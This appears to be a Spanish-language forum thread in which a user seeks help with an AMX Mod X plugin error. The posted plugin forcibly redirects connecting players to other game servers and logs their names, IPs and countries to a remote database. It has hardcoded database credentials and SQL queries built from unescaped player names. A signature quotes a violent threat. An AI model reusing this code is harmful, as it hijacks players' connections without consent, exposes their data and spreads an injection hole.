Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
Me tira este error un plugin del module
Código PHP: failed to load: Plugin uses an unknown function (name "geoip_code2_ex") - check your modules.ini.
Mensajes: 940
Temas: 29
Registro en: Sep 2016
Reputación:
7
11/09/2018, 08:15 PM
(Última modificación: 11/09/2018, 08:16 PM por KrR10VnZl.)
check your modules.ini, instalaste el modulo?
Cita:Los precios en la moneda venezolana se fijarán a partir de la reconversión monetaria y valdrá mucho menos de lo que cuesta una Cachapa con queso.
Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
(11/09/2018, 08:15 PM)KrR10VnZl escribió: check your modules.ini, instalaste el modulo?
si esta instalado pero me tira ese error en consola el geoip de todas formas dime como se instala
Mensajes: 6,664
Temas: 81
Registro en: Jan 2014
Reputación:
68
Fijate si lo tienes descargado, en la carpeta modules, puedes descargarlo de amxmodx.org
► NO DOY AYUDA VIA MENSAJE PRIVADO ◄
* Si requieres algún servicio de pago puedes contactarme vía MP o en mi facebook
Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
11/09/2018, 08:23 PM
(Última modificación: 11/09/2018, 08:24 PM por Evilz.)
(11/09/2018, 08:22 PM)kikizon2 escribió: Fijate si lo tienes descargado, en la carpeta modules, puedes descargarlo de amxmodx.org
si esta instalado puedo pasar el plugin
Mensajes: 6,664
Temas: 81
Registro en: Jan 2014
Reputación:
68
Y es la version correcta? Pasa meta list y el plugin
► NO DOY AYUDA VIA MENSAJE PRIVADO ◄
* Si requieres algún servicio de pago puedes contactarme vía MP o en mi facebook
Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
11/09/2018, 08:27 PM
(Última modificación: 11/09/2018, 08:32 PM por Evilz.)
(11/09/2018, 08:25 PM)kikizon2 escribió: Y es la version correcta? Pasa meta list y el plugin
[ 1] AMX Mod X RUN - amxmodx_mm_i386. v1.8.2 ini Start ANY
[ 3] MySQL RUN - mysql_amxx_i386. v1.8.2 pl1 ANY ANY
[ 4] SQLite RUN - sqlite_amxx_i386 v1.8.2 pl1 ANY ANY
[ 5] Fun RUN - fun_amxx_i386.so v1.8.2 pl1 ANY ANY
[ 6] Engine RUN - engine_amxx_i386 v1.8.2 pl1 ANY ANY
[ 7] FakeMeta RUN - fakemeta_amxx_i3 v1.8.2 pl1 ANY ANY
[ 8] GeoIP+ RUN - geoip_amxx_i386. v1.3.0 pl1 ANY ANY
[ 9] CStrike RUN - cstrike_amxx_i38 v1.8.2 pl1 ANY ANY
[10] CSX RUN - csx_amxx_i386.so v1.8.2 pl1 ANY ANY
[11] Ham Sandwich RUN - hamsandwich_amxx v1.8.2 pl1 ANY ANY
11 plugins, 11 running
Código PHP: #include <amxmodx>
#include <amxmisc>
#include <sqlx>
#include <server_query>
#include <geoip>
static const
PLUGIN_NAME[] = "Platforma",
PLUGIN_AUTHOR[] = "Carnacior",
PLUGIN_VERSION[] = "2.1",
HOST[] = "74.91.121.121",
USER[] = "bro",
PASS[] = "polla1",
DB[] = "bro";
new const TAG[] = "[AMXX]"
#define MAX_SERVERS 300 //cate servere vei avea maxim in baza de date (rol de optimizare al memoriei, poti pune 999 din partea mea)
new filename[256]
new counter = 1,counterr = 1;
new totalcount
new Handle:g_SqlTuple
new g_Error[512], g_szIps[MAX_SERVERS+1][40];
new g_servers;
new errcode;
new squery_id;
new g_maxp[MAX_SERVERS+1]
new g_pcount[MAX_SERVERS+1]
new szOutput[2][16]
new port, ip[16]
new szIp[25] = " 91.134.250.94:27016"
new szTemp69[512], LogString[256], szTemp666[512], LogString2[256]
public plugin_init()
{
g_servers = 1
register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR)
set_task(1.0, "init_mysql")
set_task(10.0, "Load_MySql", _, _, _, "b")
set_task(2.0, "reload_serverinfo")
get_configsdir(filename,255)
format(filename,255,"%s/platform-serverlist.txt",filename)
//get_user_ip(0, szIp, charsmax(szIp))
}
public reload_serverinfo()
{
if(counterr>g_servers)
counterr=1
ExplodeString( szOutput, 2, 16, g_szIps[counterr], ':' )
port = str_to_num(szOutput[1])
format(ip, charsmax(ip), "%s", szOutput[0])
squery_id = sq_query(ip, port, SQ_Server, "SqueryResults", errcode);
if(!squery_id)
{
new error[32];
sq_error(errcode, error, charsmax(error));
server_print("Error on querying server (%d): %s", errcode, error);
}
set_task(1.0,"reload_serverinfo")
}
public SqueryResults(squery_id, type, Trie:buffer, Float:query_time, bool:failed, data[], data_size)
{
if(failed)
{
g_maxp[counterr]=69
g_pcount[counterr]=69
}
else
{
new pnum , mnum
TrieGetCell(buffer, "num_players", pnum);
TrieGetCell(buffer, "max_players", mnum)
g_maxp[counterr]=mnum
g_pcount[counterr]=pnum
}
counterr++
}
public client_connect(id)
{
//ignoram botii
new szIpx[23]
get_user_ip(id, szIpx, charsmax(szIpx))
if(containi(szIpx,"127.0.0.1") != -1)
return PLUGIN_HANDLED
//daca am ajuns la capatul listei de servere, incepem de la inceput
if(counter>g_servers)
{
counter = 1
}
new iplayers, imaxplayers
iplayers = g_pcount[counter]
imaxplayers = g_maxp[counter]
new ora[64], data[64];
get_time("%H:%M:%S", ora, 63)
get_time("%d.%m.%Y", data, 63)
if(iplayers<imaxplayers)
{
//luam data si ora ; facem update la baza de date pentru lista dropurilor
new nume[32];
get_user_name(id, nume, charsmax(nume));
new Code2[ 3 ];
geoip_code2_ex( szIpx, Code2 );
strtolower(Code2)
format(LogString,charsmax(LogString),"[%s](%s): <b>%s</b> ",data,ora,nume)
format(LogString2,charsmax(LogString2)," trimis catre <b>%s</b>",g_szIps[counter])
format(szTemp69,charsmax(szTemp69),"INSERT INTO `list` (`value`, `ip`, `ctry`, `value2`) VALUES ('%s', '%s', '%s', '%s');",LogString, szIpx, Code2, LogString2)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp69)
new Data[1]
Data[0] = id
format(szTemp666,charsmax(szTemp666),"SELECT * FROM `ipstats` WHERE (`ip` = '%s')", szIpx)
SQL_ThreadQuery(g_SqlTuple,"verifica_recurenta",szTemp666,Data,1)
//redirect
client_cmd(id, "disconnect;wait;wait;wait;wait;wait;^"connect^" %s",g_szIps[counter]);
log_to_file("drops.log", "[DROP] Jucator %s trimis catre %s",szIpx,g_szIps[counter])
//daca s-a citit deja numarul de dropuri, o crestem cu 1
new szTemp[512]
if(totalcount>1)
{
totalcount++
format(szTemp,charsmax(szTemp),"UPDATE `count` SET `counter` = '%d' WHERE `id` = '1';", totalcount)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp)
}
counter++
}
else
{
//incercam cu serverul urmator
format(LogString,charsmax(LogString),"[%s](%s): <b>%s</b> e full sau offline, sarim peste.",data,ora,g_szIps[counter])
format(szTemp69,charsmax(szTemp69),"INSERT INTO `list` (`value`) VALUES ('%s');",LogString)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp69)
set_task(1.0,"checkagain",id)
counter++
}
return PLUGIN_CONTINUE
}
public verifica_recurenta(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
{
log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
}
else if(FailState == TQUERY_QUERY_FAILED)
{
log_amx("Load Query failed. [%d] %s", Errcode, Error)
}
if(SQL_NumResults(Query))//daca are ipul in lista, crestem datile de cate ori s-a conectat, scriem in logs
{
new szTempgx[512]
new szIp2[35]
SQL_ReadResult(Query, 1, szIp2, 34)
new from[50]
SQL_ReadResult(Query, 2, from, 49)
new reccount
reccount = SQL_ReadResult(Query, 3)
reccount++
format(szTempgx,charsmax(szTempgx),"UPDATE `ipstats` SET `times` = '%d' WHERE `ip` = '%s';", reccount, szIp2)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTempgx)
server_print("reccount %d ip %s from %s",reccount,szIp2,from )
server_print("numar de coloane: %d", SQL_NumColumns(Query))
if(reccount>1)
{
new ora[64], data[64];
get_time("%H:%M:%S", ora, 63)
get_time("%d.%m.%Y", data, 63)
format(LogString,charsmax(LogString),"[%s](%s): <b>%s</b> s-a intors de la %s pentru a %d-a oara.",data,ora,szIp2,from,reccount)
format(szTempgx,charsmax(szTempgx),"INSERT INTO `list2` (`value`) VALUES ('%s');",LogString)//asta i nu mai merge
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTempgx)
}
}
return PLUGIN_HANDLED
}
public checkagain(id)
{
client_cmd(id, "disconnect;wait;wait;wait;wait;wait;^"connect^" %s",szIp);
}
public IgnoreHandle(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
{
SQL_FreeHandle(Query)
return PLUGIN_HANDLED
}
public init_mysql()
{
g_SqlTuple = SQL_MakeDbTuple(HOST, USER, PASS, DB)
static ErrorCode, Handle:SqlConnection;
SqlConnection = SQL_Connect(g_SqlTuple, ErrorCode, g_Error, charsmax(g_Error))
static Handle:Queries
Queries = SQL_PrepareQuery(SqlConnection, "CREATE TABLE IF NOT EXISTS `count` (`id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,`counter` int(10)) ; CREATE TABLE IF NOT EXISTS `list` (`id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,`value` varchar(256)); CREATE TABLE IF NOT EXISTS `list2` (`id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,`value` varchar(256))")
if(SqlConnection == Empty_Handle)
{
server_print("%s Eroare conexiune SQL! Citim din fisier!", TAG)
server_print("%s Eroare conexiune SQL! Citim din fisier!", TAG)
server_print("%s Eroare conexiune SQL! Citim din fisier!", TAG)
set_task(3.0, "changefailmap")
set_task(10.0, "changefailmap", _, _, _, "b")
}
if(!SQL_Execute(Queries))
{
SQL_QueryError(Queries, g_Error, charsmax(g_Error))
}
SQL_FreeHandle(Queries)
SQL_FreeHandle(SqlConnection)
Load_MySql()
Load_TotalCount()
}
public changefailmap()
{
/*open file in read-mode*/
new filepointer = fopen(filename,"r")
/*check if file is open,on an error filepointer is 0*/
if(filepointer)
{
new readdata[128]
new parsedname[32]
new meh
/*Read the file until it is at end of file*/
/*fgets - Reads a line from a text file -- includes newline!*/
while(fgets(filepointer,readdata,127) && meh<MAX_SERVERS)
{
meh++
parse(readdata,parsedname,31)
copy(g_szIps[meh], sizeof(g_szIps[]),parsedname)
}
fclose(filepointer)
}
}
public plugin_end()
SQL_FreeHandle(g_SqlTuple)
public Load_MySql()
{
g_servers = 0
static szTemp[512], Data[1];
Data[0] = 1
format(szTemp, charsmax(szTemp), "SELECT server FROM server_list ORDER BY id DESC LIMIT %d", MAX_SERVERS)
SQL_ThreadQuery(g_SqlTuple, "register_client", szTemp, Data, 1)
}
public Load_TotalCount()
{
static szTemp[512], Data[1];
Data[0] = 1
format(szTemp, charsmax(szTemp), "SELECT counter FROM count WHERE id = '1' ")
SQL_ThreadQuery(g_SqlTuple, "load_total", szTemp, Data, 1)
}
public load_total(FailState, Handle:Query, Error[], Errcode, Data[], DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
else if(FailState == TQUERY_QUERY_FAILED)
log_amx("Load Query failed. [%d] %s", Errcode, Error)
totalcount = SQL_ReadResult(Query, 0)
return PLUGIN_HANDLED
}
public register_client(FailState, Handle:Query, Error[], Errcode, Data[], DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
else if(FailState == TQUERY_QUERY_FAILED)
log_amx("Load Query failed. [%d] %s", Errcode, Error)
for(new vv;vv<=MAX_SERVERS;vv++)
{
g_szIps[vv][0] = 0
}
if(SQL_NumResults(Query) < 1)
return PLUGIN_HANDLED;
else
{
while(SQL_MoreResults(Query))
{
g_servers++
SQL_ReadResult(Query, 0, g_szIps[g_servers], charsmax(g_szIps))
SQL_NextRow(Query)
}
}
return PLUGIN_HANDLED
}
stock ExplodeString( p_szOutput[][], p_nMax, p_nSize, p_szInput[], p_szDelimiter )
{
new nIdx = 0, l = strlen(p_szInput)
new nLen = (1 + copyc( p_szOutput[nIdx], p_nSize, p_szInput, p_szDelimiter ))
while( (nLen < l) && (++nIdx < p_nMax) )
nLen += (1 + copyc( p_szOutput[nIdx], p_nSize, p_szInput[nLen], p_szDelimiter ))
return
}
[/code]
Mensajes: 940
Temas: 29
Registro en: Sep 2016
Reputación:
7
11/09/2018, 08:29 PM
(Última modificación: 11/09/2018, 08:30 PM por KrR10VnZl.)
muchachaoooooooooooooo qjestooooooooooooooo
[ 2] dproto_EF RUN - dproto_i386.so v0.9.356 ini Start Never
lee las reglas
Cita:Los precios en la moneda venezolana se fijarán a partir de la reconversión monetaria y valdrá mucho menos de lo que cuesta una Cachapa con queso.
Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
(11/09/2018, 08:29 PM)KrR10VnZl escribió: muchachaoooooooooooooo qjestooooooooooooooo
[ 2] dproto_EF RUN - dproto_i386.so v0.9.356 ini Start Never
que pasa xdd
Mensajes: 6,664
Temas: 81
Registro en: Jan 2014
Reputación:
68
Dejando de lado la tremenda basura del plugin xdxd creo que tienes una version incorrecta del modulo
► NO DOY AYUDA VIA MENSAJE PRIVADO ◄
* Si requieres algún servicio de pago puedes contactarme vía MP o en mi facebook
Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
(11/09/2018, 08:32 PM)kikizon2 escribió: Dejando de lado la tremenda basura del plugin xdxd creo que tienes una version incorrecta del modulo cual uso ya eh usado varias
Mensajes: 940
Temas: 29
Registro en: Sep 2016
Reputación:
7
Cita:Los precios en la moneda venezolana se fijarán a partir de la reconversión monetaria y valdrá mucho menos de lo que cuesta una Cachapa con queso.
Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
(11/09/2018, 08:41 PM)KrR10VnZl escribió: Lo descargaste aquí? https://github.com/Arkshine/geoip-plus/r.../tag/1.3.0
si
Mensajes: 6,664
Temas: 81
Registro en: Jan 2014
Reputación:
68
Descarga la versión 1.8.2, es la que debes de tener, procura borrar la que tienes actualmente
► NO DOY AYUDA VIA MENSAJE PRIVADO ◄
* Si requieres algún servicio de pago puedes contactarme vía MP o en mi facebook
Mensajes: 283
Temas: 90
Registro en: Feb 2015
Reputación:
0
(11/09/2018, 09:01 PM)kikizon2 escribió: Descarga la versión 1.8.2, es la que debes de tener, procura borrar la que tienes actualmente
es la que tengo
Mensajes: 6,664
Temas: 81
Registro en: Jan 2014
Reputación:
68
No, tienes esta:
[ 8] GeoIP+ RUN - geoip_amxx_i386. v1.3.0 pl1 ANY ANY
borra ese modulo, y descarga el original de amxmodx.org
► NO DOY AYUDA VIA MENSAJE PRIVADO ◄
* Si requieres algún servicio de pago puedes contactarme vía MP o en mi facebook
Mensajes: 853
Temas: 147
Registro en: Oct 2014
Reputación:
5
(11/09/2018, 08:27 PM)Evilz escribió: (11/09/2018, 08:25 PM)kikizon2 escribió: Y es la version correcta? Pasa meta list y el plugin
[ 1] AMX Mod X RUN - amxmodx_mm_i386. v1.8.2 ini Start ANY
[ 3] MySQL RUN - mysql_amxx_i386. v1.8.2 pl1 ANY ANY
[ 4] SQLite RUN - sqlite_amxx_i386 v1.8.2 pl1 ANY ANY
[ 5] Fun RUN - fun_amxx_i386.so v1.8.2 pl1 ANY ANY
[ 6] Engine RUN - engine_amxx_i386 v1.8.2 pl1 ANY ANY
[ 7] FakeMeta RUN - fakemeta_amxx_i3 v1.8.2 pl1 ANY ANY
[ 8] GeoIP+ RUN - geoip_amxx_i386. v1.3.0 pl1 ANY ANY
[ 9] CStrike RUN - cstrike_amxx_i38 v1.8.2 pl1 ANY ANY
[10] CSX RUN - csx_amxx_i386.so v1.8.2 pl1 ANY ANY
[11] Ham Sandwich RUN - hamsandwich_amxx v1.8.2 pl1 ANY ANY
11 plugins, 11 running
Código PHP: #include <amxmodx>
#include <amxmisc>
#include <sqlx>
#include <server_query>
#include <geoip>
static const
PLUGIN_NAME[] = "Platforma",
PLUGIN_AUTHOR[] = "Carnacior",
PLUGIN_VERSION[] = "2.1",
HOST[] = "74.91.121.121",
USER[] = "bro",
PASS[] = "polla1",
DB[] = "bro";
new const TAG[] = "[AMXX]"
#define MAX_SERVERS 300 //cate servere vei avea maxim in baza de date (rol de optimizare al memoriei, poti pune 999 din partea mea)
new filename[256]
new counter = 1,counterr = 1;
new totalcount
new Handle:g_SqlTuple
new g_Error[512], g_szIps[MAX_SERVERS+1][40];
new g_servers;
new errcode;
new squery_id;
new g_maxp[MAX_SERVERS+1]
new g_pcount[MAX_SERVERS+1]
new szOutput[2][16]
new port, ip[16]
new szIp[25] = " 91.134.250.94:27016"
new szTemp69[512], LogString[256], szTemp666[512], LogString2[256]
public plugin_init()
{
g_servers = 1
register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR)
set_task(1.0, "init_mysql")
set_task(10.0, "Load_MySql", _, _, _, "b")
set_task(2.0, "reload_serverinfo")
get_configsdir(filename,255)
format(filename,255,"%s/platform-serverlist.txt",filename)
//get_user_ip(0, szIp, charsmax(szIp))
}
public reload_serverinfo()
{
if(counterr>g_servers)
counterr=1
ExplodeString( szOutput, 2, 16, g_szIps[counterr], ':' )
port = str_to_num(szOutput[1])
format(ip, charsmax(ip), "%s", szOutput[0])
squery_id = sq_query(ip, port, SQ_Server, "SqueryResults", errcode);
if(!squery_id)
{
new error[32];
sq_error(errcode, error, charsmax(error));
server_print("Error on querying server (%d): %s", errcode, error);
}
set_task(1.0,"reload_serverinfo")
}
public SqueryResults(squery_id, type, Trie:buffer, Float:query_time, bool:failed, data[], data_size)
{
if(failed)
{
g_maxp[counterr]=69
g_pcount[counterr]=69
}
else
{
new pnum , mnum
TrieGetCell(buffer, "num_players", pnum);
TrieGetCell(buffer, "max_players", mnum)
g_maxp[counterr]=mnum
g_pcount[counterr]=pnum
}
counterr++
}
public client_connect(id)
{
//ignoram botii
new szIpx[23]
get_user_ip(id, szIpx, charsmax(szIpx))
if(containi(szIpx,"127.0.0.1") != -1)
return PLUGIN_HANDLED
//daca am ajuns la capatul listei de servere, incepem de la inceput
if(counter>g_servers)
{
counter = 1
}
new iplayers, imaxplayers
iplayers = g_pcount[counter]
imaxplayers = g_maxp[counter]
new ora[64], data[64];
get_time("%H:%M:%S", ora, 63)
get_time("%d.%m.%Y", data, 63)
if(iplayers<imaxplayers)
{
//luam data si ora ; facem update la baza de date pentru lista dropurilor
new nume[32];
get_user_name(id, nume, charsmax(nume));
new Code2[ 3 ];
geoip_code2_ex( szIpx, Code2 );
strtolower(Code2)
format(LogString,charsmax(LogString),"[%s](%s): <b>%s</b> ",data,ora,nume)
format(LogString2,charsmax(LogString2)," trimis catre <b>%s</b>",g_szIps[counter])
format(szTemp69,charsmax(szTemp69),"INSERT INTO `list` (`value`, `ip`, `ctry`, `value2`) VALUES ('%s', '%s', '%s', '%s');",LogString, szIpx, Code2, LogString2)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp69)
new Data[1]
Data[0] = id
format(szTemp666,charsmax(szTemp666),"SELECT * FROM `ipstats` WHERE (`ip` = '%s')", szIpx)
SQL_ThreadQuery(g_SqlTuple,"verifica_recurenta",szTemp666,Data,1)
//redirect
client_cmd(id, "disconnect;wait;wait;wait;wait;wait;^"connect^" %s",g_szIps[counter]);
log_to_file("drops.log", "[DROP] Jucator %s trimis catre %s",szIpx,g_szIps[counter])
//daca s-a citit deja numarul de dropuri, o crestem cu 1
new szTemp[512]
if(totalcount>1)
{
totalcount++
format(szTemp,charsmax(szTemp),"UPDATE `count` SET `counter` = '%d' WHERE `id` = '1';", totalcount)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp)
}
counter++
}
else
{
//incercam cu serverul urmator
format(LogString,charsmax(LogString),"[%s](%s): <b>%s</b> e full sau offline, sarim peste.",data,ora,g_szIps[counter])
format(szTemp69,charsmax(szTemp69),"INSERT INTO `list` (`value`) VALUES ('%s');",LogString)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp69)
set_task(1.0,"checkagain",id)
counter++
}
return PLUGIN_CONTINUE
}
public verifica_recurenta(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
{
log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
}
else if(FailState == TQUERY_QUERY_FAILED)
{
log_amx("Load Query failed. [%d] %s", Errcode, Error)
}
if(SQL_NumResults(Query))//daca are ipul in lista, crestem datile de cate ori s-a conectat, scriem in logs
{
new szTempgx[512]
new szIp2[35]
SQL_ReadResult(Query, 1, szIp2, 34)
new from[50]
SQL_ReadResult(Query, 2, from, 49)
new reccount
reccount = SQL_ReadResult(Query, 3)
reccount++
format(szTempgx,charsmax(szTempgx),"UPDATE `ipstats` SET `times` = '%d' WHERE `ip` = '%s';", reccount, szIp2)
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTempgx)
server_print("reccount %d ip %s from %s",reccount,szIp2,from )
server_print("numar de coloane: %d", SQL_NumColumns(Query))
if(reccount>1)
{
new ora[64], data[64];
get_time("%H:%M:%S", ora, 63)
get_time("%d.%m.%Y", data, 63)
format(LogString,charsmax(LogString),"[%s](%s): <b>%s</b> s-a intors de la %s pentru a %d-a oara.",data,ora,szIp2,from,reccount)
format(szTempgx,charsmax(szTempgx),"INSERT INTO `list2` (`value`) VALUES ('%s');",LogString)//asta i nu mai merge
SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTempgx)
}
}
return PLUGIN_HANDLED
}
public checkagain(id)
{
client_cmd(id, "disconnect;wait;wait;wait;wait;wait;^"connect^" %s",szIp);
}
public IgnoreHandle(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
{
SQL_FreeHandle(Query)
return PLUGIN_HANDLED
}
public init_mysql()
{
g_SqlTuple = SQL_MakeDbTuple(HOST, USER, PASS, DB)
static ErrorCode, Handle:SqlConnection;
SqlConnection = SQL_Connect(g_SqlTuple, ErrorCode, g_Error, charsmax(g_Error))
static Handle:Queries
Queries = SQL_PrepareQuery(SqlConnection, "CREATE TABLE IF NOT EXISTS `count` (`id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,`counter` int(10)) ; CREATE TABLE IF NOT EXISTS `list` (`id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,`value` varchar(256)); CREATE TABLE IF NOT EXISTS `list2` (`id` int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,`value` varchar(256))")
if(SqlConnection == Empty_Handle)
{
server_print("%s Eroare conexiune SQL! Citim din fisier!", TAG)
server_print("%s Eroare conexiune SQL! Citim din fisier!", TAG)
server_print("%s Eroare conexiune SQL! Citim din fisier!", TAG)
set_task(3.0, "changefailmap")
set_task(10.0, "changefailmap", _, _, _, "b")
}
if(!SQL_Execute(Queries))
{
SQL_QueryError(Queries, g_Error, charsmax(g_Error))
}
SQL_FreeHandle(Queries)
SQL_FreeHandle(SqlConnection)
Load_MySql()
Load_TotalCount()
}
public changefailmap()
{
/*open file in read-mode*/
new filepointer = fopen(filename,"r")
/*check if file is open,on an error filepointer is 0*/
if(filepointer)
{
new readdata[128]
new parsedname[32]
new meh
/*Read the file until it is at end of file*/
/*fgets - Reads a line from a text file -- includes newline!*/
while(fgets(filepointer,readdata,127) && meh<MAX_SERVERS)
{
meh++
parse(readdata,parsedname,31)
copy(g_szIps[meh], sizeof(g_szIps[]),parsedname)
}
fclose(filepointer)
}
}
public plugin_end()
SQL_FreeHandle(g_SqlTuple)
public Load_MySql()
{
g_servers = 0
static szTemp[512], Data[1];
Data[0] = 1
format(szTemp, charsmax(szTemp), "SELECT server FROM server_list ORDER BY id DESC LIMIT %d", MAX_SERVERS)
SQL_ThreadQuery(g_SqlTuple, "register_client", szTemp, Data, 1)
}
public Load_TotalCount()
{
static szTemp[512], Data[1];
Data[0] = 1
format(szTemp, charsmax(szTemp), "SELECT counter FROM count WHERE id = '1' ")
SQL_ThreadQuery(g_SqlTuple, "load_total", szTemp, Data, 1)
}
public load_total(FailState, Handle:Query, Error[], Errcode, Data[], DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
else if(FailState == TQUERY_QUERY_FAILED)
log_amx("Load Query failed. [%d] %s", Errcode, Error)
totalcount = SQL_ReadResult(Query, 0)
return PLUGIN_HANDLED
}
public register_client(FailState, Handle:Query, Error[], Errcode, Data[], DataSize)
{
if(FailState == TQUERY_CONNECT_FAILED)
log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
else if(FailState == TQUERY_QUERY_FAILED)
log_amx("Load Query failed. [%d] %s", Errcode, Error)
for(new vv;vv<=MAX_SERVERS;vv++)
{
g_szIps[vv][0] = 0
}
if(SQL_NumResults(Query) < 1)
return PLUGIN_HANDLED;
else
{
while(SQL_MoreResults(Query))
{
g_servers++
SQL_ReadResult(Query, 0, g_szIps[g_servers], charsmax(g_szIps))
SQL_NextRow(Query)
}
}
return PLUGIN_HANDLED
}
stock ExplodeString( p_szOutput[][], p_nMax, p_nSize, p_szInput[], p_szDelimiter )
{
new nIdx = 0, l = strlen(p_szInput)
new nLen = (1 + copyc( p_szOutput[nIdx], p_nSize, p_szInput, p_szDelimiter ))
while( (nLen < l) && (++nIdx < p_nMax) )
nLen += (1 + copyc( p_szOutput[nIdx], p_nSize, p_szInput[nLen], p_szDelimiter ))
return
}
JAJAJAJJAJAJAJJAJAJAJAJAAJAJAJ MIRA COMO BORRO LA LINEA DEL DPROTO 
![[Imagen: EvoLogo.png.fbcccbc49fb32e6a4bf8f5e72d80c317.png]](https://evolutiongames.org/uploads/monthly_2023_04/EvoLogo.png.fbcccbc49fb32e6a4bf8f5e72d80c317.png)
nalgas
(03/08/2018, 03:13 PM)Skylar escribió: Está bien que pidas ayudas, pero no para que crees 20 post todos los días mogolico de mierda, me tenes re podrido ya, contraté 10000 sicarios para que te busquen y te maten toda la familia, y a vos que te revienten con una bazooka.
Mensajes: 127
Temas: 36
Registro en: Apr 2014
Reputación:
1
12/09/2018, 02:03 PM
(Última modificación: 12/09/2018, 02:04 PM por MR10.)
(11/09/2018, 08:31 PM)Evilz escribió: (11/09/2018, 08:29 PM)KrR10VnZl escribió: muchachaoooooooooooooo qjestooooooooooooooo
[ 2] dproto_EF RUN - dproto_i386.so v0.9.356 ini Start Never
que pasa xdd
***EDIT
Me equivoque.
|
![[Imagen: 76561198350936449.png]](https://badges.steamprofile.com/profile/default/steam/76561198350936449.png)
![[Imagen: bvpq9q-6.png]](https://valid.x86.fr/cache/banner/bvpq9q-6.png)
